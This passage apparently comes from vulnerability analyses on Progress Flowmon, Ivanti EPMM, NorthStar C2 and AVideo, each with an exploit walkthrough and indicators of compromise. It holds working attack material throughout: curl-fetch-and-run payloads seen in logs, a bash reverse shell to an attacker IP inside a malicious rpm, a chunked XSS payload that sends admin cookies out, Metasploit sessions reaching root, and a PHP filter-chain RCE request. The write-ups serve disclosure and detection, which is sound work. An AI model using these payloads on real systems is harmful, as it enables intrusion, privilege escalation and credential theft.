sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;
Now we can drop whatever exploit we wish on to the target and run it with sudo:
sudo ./exploit_file.sh
IoCs
By default there is logging in place which will log each exploit attempt of the command injection vulnerability CVE-2024-2389
In the /var/www/log
folder the exec-ui.log
logs when a PDF is attempted to be generated and you can see below the $url
parameter is injected with our payload from the metasploit module.
Payload in log line:
https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&
Full log line:
./exec-ui.log:{"level":"info","requestId":"66677cd095e9a","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-06-11 00:23:41.038700","depth":1,"message":"Exec::run 'node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_1uwPuy5q.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\"'","context":{"output":["2024-06-10T22:23:39.088Z - try to launch chromium","2024-06-10T22:23:39.547Z - Chromium is launched.","2024-06-10T22:23:39.548Z - Chromium open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print","2024-06-10T22:23:40.992Z - Chromium cannot open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print.","Error log: Status of page is: 404","","Added to log file."],"ret":3,"command_args":[],"duration":"27069.765 ms"},"utime":1718058221.038748,"memory":2,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/models\/Exec.php","line":95}}
Also the process_logger.log
log file will also contain similar traces of exploitation attempts as seen below:
./process_logger.log:{"level":"debug","requestId":"66571e8fbb307","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-05-29 14:24:48.631800","depth":1,"message":"Command","context":["node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/zLxWJANP http:\/\/192.168.50.78:8080\/Eprv7SVWQHIInVrWn0A4hg; chmod +x .\/zLxWJANP; .\/zLxWJANP &)\/locale\/0s8IAXCf\/index.html?file=eCGyQX4r.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_eCGyQX4r.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\""],"utime":1716985488.6317589,"memory":12,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/ServiceModule\/PdfsModule\/models\/PdfGenerator.php","line":91}}
As for the privilege escalation vuln, it is a bit more difficult to determine if it has been exploited. The process_logger.log
log file does indicate when the vulnerable sudo command gets called Cli\\:AddNewSource s
but because we overwrite the index.php
file in order to exploit this vuln, in the logs there’s no way of telling if this call to CliPresenter.php
was malicious.
./process_logger.log:{"level":"info","requestId":"66677b9e439c1","requestName":"CLI - Cli:AddNewSource","timestamp":"2024-06-11 00:18:06.284900","depth":0,"message":"Cli:AddNewSource started","context":{"isDaEnabled":false,"isProxy":false,"isAssigned":false,"parameters":{"module":":","action":"AddNewSource"}},"utime":1718057886.2848589,"memory":18,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/presenters\/CliPresenter.php","line":768}}
When the metasploit module exploits the priv esc it:
- Over writes
/var/www/shtml/index.php
- Edits
/etc/sudoers
- Drops a payload to disk
It creates a number of IoCs but it cleans them all up. In the event a malicious attacker exploits the priv esc in a similar fashion without using the metasploit and fails to clean up after themselves there would be some very obvious signs of exploitation. One being that if you fail to restore index.php
(the page that you get redirected to immediately when navigating to the Progress Flomon’s HTTP server) you will be greeted by a page containing part of the exploit:
Attacker Value and Exploitability
It’s been some time since I gave a 5/5 for both attacker value and exploitability – though this exploit seems well deserving of both those ratings. I feel the attacker value is only heightened by the fact that the vendor decided not to acknowledge/ patch the priv esc. Both vulns are trivial to exploit and are exploitable without authentication. This one is a doozy, patching is recommended asap
Metasploit modules in action
Command injection
msf6 exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options Module options (exploit/linux/http/progress_flowmon_unauth_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- PRIVESC true yes Automatically try privesc to add sudo entry Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 172.174.209.101 yes The target host(s), see https://docs.metasploit.com/docs/using-meta sploit/basics/using-metasploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The URI path to Flowmon VHOST no HTTP server virtual host Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP , WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME TkHAXYbQwlH no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain space s LHOST 138.111.211.11 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic View the full module info with the info, or info -d command. msf6 exploit(linux/http/flowmon_unauth_cmd_injection) > run [*] Started reverse TCP handler on 138.111.211.11:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 172.174.209.101:443 can be exploited! [*] Detected version: 12.02.06 [+] The target is vulnerable. Version 12.02.06 is vulnerable. [*] Attempting to execute payload... [*] Meterpreter session 1 opened (138.111.211.11:4444 -> 172.174.209.101:48856) at 2024-05-01 15:22:24 +0000 meterpreter > sysinfo Computer : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net OS : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > getuid Server username: flowmon
Privilege Escalation
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 5 meterpreter x64/linux flowmon @ localhost.localdomain.localdomain 192.168.2.23:4444 -> 192.168.2.26:38328 (192.168.2.26) msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION -1 yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.23 yes The listen address (an interface may be specified) LPORT 5555 yes The listen port Exploit target: Id Name -- ---- 0 Automatic View the full module info with the info, or info -d command. msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run [*] Started reverse TCP handler on 192.168.2.23:5555 [*] Running automatic check ("set AutoCheck false" to disable) [*] Found 2 indicators this is a Progress Flowmon product [!] The service is running, but could not be validated. [*] Saving payload as /tmp/.fovaiiazfuhl [*] Overwriting /var/www/shtml/index.php with payload [*] Executing sudo to elevate privileges [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 192.168.2.26 [+] Deleted /tmp/.fovaiiazfuhl [*] Cleaning up addition to /etc/sudoers [*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400 [*] Restoring /var/www/shtml/index.php file contents... meterpreter > getuid Server username: root meterpreter > sysinfo Computer : localhost.localdomain.localdomain OS : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
References
https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/
Technical Analysis
Ivanti EPMM (previously known as MobileIron Core) is vulnerable to a local privilege escalation vulnerability. The install
command accessible from the MobileIron CORE CLI
or Ivanti EPMM CLI
allows privileged CLI users to install .rpm packages. Affected versions are versions prior to 12.1.0.0
, 12.0.0.0
, and 11.12.0.1
.
The install
command fails to enforce signature verification or URL filtering of any sort when installing rpm from url allowing an attacker to host a malicious rpm package and have their victim download and install it with root privileges.
There exists an install
binary on the on the affected appliance – please note that it is unrelated to the install
command accessible from the CLI which is vulnerable to the priv esc:
which install /bin/install install --help Usage: install [OPTION]... [-T] SOURCE DEST or: install [OPTION]... SOURCE... DIRECTORY or: install [OPTION]... -t DIRECTORY SOURCE... or: install [OPTION]... -d DIRECTORY... This install program copies files (often just compiled) into destination locations you choose. If you want to download and install a ready-to-use package on a GNU/Linux system, you should instead be using a package manager like yum(1) or apt-get(1).
To access the vulnerable command, one must first gain CLI access via SSH or physical access
➜ ssh msfuser@172.16.199.40 msfuser@172.16.199.40's password: Last login: Mon Jun 3 14:12:12 2024 from 172.16.199.1 ************************************************************ * MobileIron CORE CLI * * * * * ************************************************************ Welcome msfuser it is Mon Jun 3 15:00:14 UTC 2024 CORE(11.2.0.0-31)@lobster.example.com> enable Turn on privileged commands exit Exit from the EXEC help Description of the interactive help system host Query Internet name servers logout Exit from the EXEC ping Send echo messages show Show running system information speedtest Performs speed test for disk memory and cpu timeout CLI Idle timeout. traceroute Trace route to destination
Then turn on privileged commands with enable
followed by the correct Admin CLI password:
CORE(11.2.0.0-31)@lobster.example.com> enable Password: CORE(11.2.0.0-31)@lobster.example.com#install rpm Gets the rpm and install. choose any from: cdrom file info url CORE(11.2.0.0-31)@lobster.example.com#install rpm cdrom Gets the rpm and install from cdrom file Get and show the rpm(s) from the given file path and installs info Gets list of rpms installed url Gets the rpm and install from the given url
As outlined by securekomodo in the following blog post the CLI command install
is really just a wrapper for the command:
/bin/rpm -Uvh *.rpm
Which will get run as root, allowing an attacker to host a malicious RPM package, install it and successfully escalate privileges.
Example PoC
Create a postinstall.sh
script that will run as root after the .rpm package gets installed. Include your payload.
msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ cat postinstall.sh #!/bin/sh bash -i >& /dev/tcp/172.16.199.131/443 0>&1 exit 0
Create the malicious .rpm package using the Ruby gem fpm
:
msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ fpm -s dir -t rpm -n test-poc -v 2.0 -a i386 --description "MobileIron Reverse Shell" --maintainer "msfuser" --after-install postinstall.sh -C . Created package {:path=>"test-poc-2.0-1.i386.rpm"}
Host the .rpm package via a Python HTTP server:
msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo python3 -m http.server 80 [sudo] password for msfuser: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Start a nc
listener on our attacking machine:
msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo nc -l 443 [sudo] password for msfuser:
As previously demonstrated SSH to the vulnerable appliance or physically access theMobile Iron Core / Ivanti EPMM CLI and type enable
followed by the Admin password in order to enable privileged commands. Once successfully authenticated use the vulnerable command to download and install the .rpm in the context of the root user.
CORE(11.2.0.0-31)@lobster.example.com#install rpm url http://172.16.199.131/test-poc-2.0-1.i386.rpm --2024-06-03 16:04:48-- http://172.16.199.131/test-poc-2.0-1.i386.rpm Connecting to 172.16.199.131:80... connected. HTTP request sent, awaiting response... 200 OK Length: 49796 (49K) [application/x-redhat-package-manager] Saving to: 'test-poc-2.0-1.i386.rpm' 100%[====================================================================================================================================================================================================================>] 49,796 --.-K/s in 0.001s 2024-06-03 16:04:48 (32.7 MB/s) - 'test-poc-2.0-1.i386.rpm' saved [49796/49796] Preparing... ################################# [100%] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 469 100 469 0 0 279k 0 --:--:-- --:--:-- --:--:-- 458k Updating / installing... 1:test-poc-2.0-1 ################################# [100%]
Check the nc
listener and see that we’ve received a shell running in the context of the root user.
msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo nc -l 443 [sudo] password for msfuser: [root@lobster.example.com 2024-06-03--16-30-57 / #] id id uid=0(root) gid=0(root) groups=0(root) [root@lobster.example.com 2024-06-03--16-42-52 / #] uname -a uname -a Linux lobster.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
To reset the target in order to retest, simply remove the package you just installed with:
CORE(11.2.0.0-31)@lobster.example.com#no install rpm test-poc-2.0-1.i386 Uninstalled ivanti-privesc-13.37-1.i386 successfully.
IoCs
Unprivileged users can query logs from the Mobile Iron / Ivanti EPMM CLI. One way users can check for IoCs in by issuing the following command:
CORE(11.2.0.0-31)@lobster.example.com> show log messages --log 'messages' --
The above command will allow the user to access /var/log/messages
via the CLI. The below isn’t indicative of a successful exploit attempt, the following log lines will be present on a device where the user has installed malicious or trusted RPM packages using the CLI.
Jun 3 16:51:51 lobster installTools: Command: /bin/rpm -Uvh *.rpm successful Jun 3 16:51:51 lobster installTools: Command: /bin/ls *.rpm >> /mi/files/installedTools successful Jun 3 16:51:52 lobster installTools: Command: /bin/rm * >& /dev/null successful Jun 3 16:51:52 lobster installTools: Command: popd >& /dev/null successful Jun 3 16:51:52 lobster installTools: RPM downloaded and installed successfully
Interestingly enough, it doesn’t seem this command completes successfully, despite it saying that it does. There is no reference to our malicious .rpm file in the file /mi/files/installedTools
Jun 3 16:51:51 lobster installTools: Command: /bin/ls *.rpm >> /mi/files/installedTools successful
It gets created but is zero bytes:
[root@lobster.example.com 2024-06-03--17-31-48 files #] ls -l /mi/files/installedTools ls -l /mi/files/installedTools -rw-r--r-- 1 root root 0 Jun 3 17:27 /mi/files/installedTools
Also one can look at the current processes for tell tale signs of successful exploitation by running:
[root@lobster.example.com 2024-06-03--17-35-43 files #] ps aux ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND ... root 63342 0.0 0.0 137500 5536 pts/0 S 17:27 0:00 /usr/bin/sudo /mi/bin/installTools url http://172.16.199.131/test-poc-2.0-1.i386.rpm root 63345 0.0 0.0 9700 1584 pts/0 S 17:27 0:00 /bin/bash /mi/bin/installTools url http://172.16.199.131/test-poc-2.0-1.i386.rpm root 63407 0.0 0.1 78976 10308 pts/0 S 17:27 0:00 /bin/rpm -Uvh test-poc-2.0-1.i386.rpm root 63408 0.0 0.0 9564 1124 pts/0 S 17:27 0:00 /bin/sh /var/tmp/rpm-tmp.D6MXUG 1 root 63409 0.0 0.0 116004 2684 pts/0 S 17:27 0:00 bash -i
We can see that processes that were spawned in order to download and install our malicious rpm are still running.
If we get the PID from the reverse shell we confirm 63409
in the above is our reverse shell and the sink of our exploit.
[root@lobster.example.com 2024-06-03--17-37-12 files #] echo "My PID is $$" echo "My PID is $$" My PID is 63409
If we run the following we can get a bit more detail of the context of the root process spawned when this is exploited:
[root@lobster.example.com 2024-06-03--17-58-29 var #] ps auxe | grep 63409 ps auxe | grep 63409 root 63409 0.0 0.0 116004 2704 pts/0 S 17:27 0:00 bash -i XDG_SESSION_ID=2903 MI_DATE_FORMAT=%Y-%m-%d--%H-%M-%S TERM=xterm-256color SHELL=/bin/bash MI_DATE_COMMAND=date +%Y-%m-%d--%H-%M-%S USER=root SUDO_USER=msfuser SUDO_UID=2002 USERNAME=root RPM_INSTALL_PREFIX0=/ MAIL=/var/mail/root PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin _=/bin/bash PWD=/ JAVA_HOME=/usr/java/default HOME=/root SUDO_COMMAND=/mi/bin/installTools url http://172.16.199.131/test-poc-2.0-1.i386.rpm SHLVL=2 RPM_INSTALL_PREFIX=/ LOGNAME=root SUDO_GID=1001
Attacker Value and Exploitability Rating
I gave this vulnerability an attacker rating of 1/5 mainly due to the fact authentication to the CLI is required as well as the CLI Admin password in order to enable privileged commands to access the vulnerable command install
.
Once the necessary credentials are obtained exploitation is straightforward: host the malicious package for the victim to download and install, then profit. However the need for such high credentials makes this vulnerability difficult to exploit in the real world.
Technical Analysis
NorthStarC2 is an open source web based command and control framework used by real world threat actors including UNC3890, APT33 and Patchwork/APT-Q-36 to name a few. NorthStar C2, prior to commit 7674a44
on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored XSS. An unauthenticated user can simulate an agent registration to cause the XSS and take over a user’s session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent.
Obtaining Unauthenticated Stored XSS
A route exists such that a portion of an unauthenticated request would be persistently reflected on the admin web panel without sanitization, allowing for stored XSS. Before delving into the exploitation details, let’s understand the NorthStar C2 stager registration flow. The docs state:
The stager registration process consists of 2 phases;
First phase:
NorthStar Stager sends an unique id value to login.php with HTTP POST method. This value is XORed with a hard-coded key and is in base64 format.
The C2 Server decrypts this value and checks if the unique id starts with a “N”, ends with a “q” and is less than 20 characters.If everything checks out, the value is registered into the C2 database.
A second XOR key, which will be used for communications, is transferred from NorthStar C2 Server to NorthStar Stager.
NorthStar Stager receives and registers the XOR key.
The registration routes mentioned above are accessible prior to authentication (which is by the design). According to the docs, some checks are conducted to determine a valid ID, but there is no mention of any additional sanitation. The implementation of these checks in the code can be examined inside the following file:
NorthStarC2/chcksid.php
The agent ID (or the $_POST['sid']
parameter in the above code which is saved to the $str
variable) has no real strict sanitization. The agent ID is checked to ensure the first character is N
, the last character is q
and that the length is less than 20
– these loosely made checks can be exploited.
Tracing the path of this parameter to its sink leads us to the login.php
file, where the checksid.php
file is included and the $str
variable is used. Notice how there is no further sanitization performed here:
NorthStarc2/login/php
:
The updateLogs
function inserts the $str
parameter (which is now called $logClient
) directly into the database:
NorthStarC2/functions/updateLogs.function.php
Now in order to exploit this stored XSS vulnerability we must determine where the database is queried and what page displays the information we’re able to store in the database.
The file logs.php
queries the database and displays the unfiltered output directly to the webpage:
The agentID
(in this case logClient
) can be seen being echoed to the page without sanitization:
NorthStarC2/logs.php
:
If there was no length limitation on the agentID parameter, we would be able to send the following payload:
N<script>alert(1)</script>q
and obtain stored XSS with ease. However the above payload is 26 characters and will not be accepted by the application.
So, in order to work around this limitation, javascript comments can be used to connect multiple, shorter payloads. Because the newest logs appear at the top of the table, the last part of the payload is sent first.
For example, in order to create the 26 character stored XSS payload mentioned above, the following three payload can be sent in this order, remembering that they all need to start with N
, end with q
and be less than 20 characters:
Payload #1:
N*/</script>q
Payload #2:
N*/alert(1)/*q
Payload #3:
N<script>/*q
The payload will appear like so in the DOM:
N<script>/*qN*/alert(1)/*qN*/</script>q
and voila, stored XSS can be achieved.
Stealing Cookies
Requests to the NorthStarC2 web application are authenticated by the PHPSESSID
cookie. By using the stored XSS vulnerability outlined above, we can exfiltrate the PHPSESSID
cookie value of an admin user back to the attacker machine. With that cookie in our possession we can take control of all the agents connected to the NorthStarC2 application and run arbitrary commands on all agents connected to the NorthStarC2 application.
This is an array of payloads (in the specific reverse order such that they get echoed to the page in the correct order) that can send to the application in order to steal the PHPSESSID
cookie:
sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]
This is how it will appear once echoed to the DOM of the logs page:
N</td><script>/*qN*/var d=/*qN*/document;/*qN*/var c=/*qN*/d.cookie;/*qN*/var a=/*qfN*/'{h1}';/*qN*/var b=/*qfN*/'{h2}';/*qN*/var h=/*qN*/a+b;/*qN*/var p=/*qfN*/':{port}';/*qN*/var s=/*qfN*/'{protocol}';/*qN*/var u=/*qN*/s+h+p+'/'+c;/*qN*/var i=/*qN*/new Image;/*qN*/i.src=u/*qN*/</script><q
And this is the actual javascript code in readable form, without the comments and the q
’s and the N
’s required by the sanitization:
</td><script> var d=document; var c=d.cookie; var a='{h1}'; var b='{h2}'; var h=a+b; var p=':{port}'; var s='{protocol}'; var u=s+h+p+'/'+c; var i=new Image; i.src=u; </script>
Once the cookie has been obtained, attackers can use it to interact with the web panel as an authenticated user, which gives them the ability to execute arbitrary commands on all the agents.
Required User Interaction
Note that the javascript payload will only get run once an authenticated user navigates to the logs.php
page. The logs.php
page does refresh itself periodically so if an operator already has the logs page open it might fire without someone directly opening it, in that specific scenario.
IoCs
If you’re running an instance of NorthStar C2, prior to commit 7674a44
on March 11 2024 and you’d like to see if you’ve been affected, one way would be to connect to the database that was configured to be used by the application (depending on how your database is setup the command to connect could be similar to sudo mysql -u root -p
) and run select * from logs;
once using the specific database.
Below is a screenshot of an affected host. Notice how in the logClient
column in rows 1 through 13 appear to be normal but then rows 14 through 34 all appear to include N*/<javascript code>/*q
. This is where the attacker has stored, the Stored XSS and is the very code used to steal the admin session cookie and exfiltrate it to themselves.
On an affected system, it is likely that the affected database rows would still be there as this attack gives the attacker control over the agents connected to the host and not to the host itself which is running the database in question. So it would be non-trivial for the attacker to erase these footsteps in this scenario.
Metasploit Module Demo
Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to NorthstarC2 installed on Ubuntu 22.04. Both the host and agent running on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce): Name Current Setting Required Description ---- --------------- -------- ----------- KILL false no Kill the NorthStar C2 agent Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 172.16.199.131 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SRVHOST 172.16.199.1 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The URI of the NorthStar C2 Application URIPATH / no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME KNBXoiAeeq no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST 172.16.199.1 no Local IP to use for serving payload FETCH_SRVPORT 9090 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target View the full module info with the info, or info -d command. msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. NorthStar Login page detected [*] Using URL: http://172.16.199.1:8080/ [*] Server started. msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution [+] 172.16.199.131 northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j [+] 172.16.199.131 northstar_c2_xss_to_agent_rce - Live Agents =========== ID IP OS Username Hostname Status -- -- -- -------- -------- ------ NcXSkaPsdYYqgc3m1Wq 172.16.199.137 Windows 10 Enterprise DESKTOP-N3ORU31\msfuser DESKTOP-N3ORU31 Online [*] 172.16.199.131 northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31 [*] Sending stage (201798 bytes) to 172.16.199.137 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.137:50597) at 2024-05-13 14:25:50 -0700 msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: DESKTOP-N3ORU31\msfuser meterpreter > sysinfo Computer : DESKTOP-N3ORU31 OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Attacker Value and Exploitability
This requires an admin user interaction in order for the exploit to be successful, which is why the attacker value is lower. Also you don’t know what target you’re going to get a session on before the exploit is successful because you’re unable to see what agents are connected to the C2 up until you steal the admin cookie, which also makes this slightly less appealing. Although that being said it’s pretty cool such a solid and reliable exploit was found in a C2 used by real APTs.
References
Technical Analysis
WWNB AVideo is a versatile and advanced video streaming platform tailored for individual content creators, businesses, and developers alike. Versions v.12.4 through v.14.2 which have the WWNBIndex Plugin installed suffer from a Local File Inclusion vulnerability which can be used to obtain Remote Code Execution through the use of PHP Filter Chaining. For those unfamiliar with PHP Filter Chaining please reference the previous link or the AKB article for CVE-2023-6553 which goes into more detail of how the technique works.
The vulnerable line of code lives on line 6 of /AVideo/plugin/WWBNIndex/submitIndex.php
:
The unfiltered POST request parameter systemRootPath
gets directly used in a require_once
statement which is normally just an LFI but by leveraging PHP Filter Chaining it can be turned into RCE. The vulnerable code can be accessed without authentication by hitting the following endpoint: <target_uri.path>/plugin/WWBNIndex/submitIndex.php/
.
PoC
The following POST request can be used to execute code on a vulnerable system. The POST request executes the following command: ping 172.16.199.1
which is the IP address of my host machine.
POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1 Host: 172.16.199.131 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 11884 systemRootPath=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|co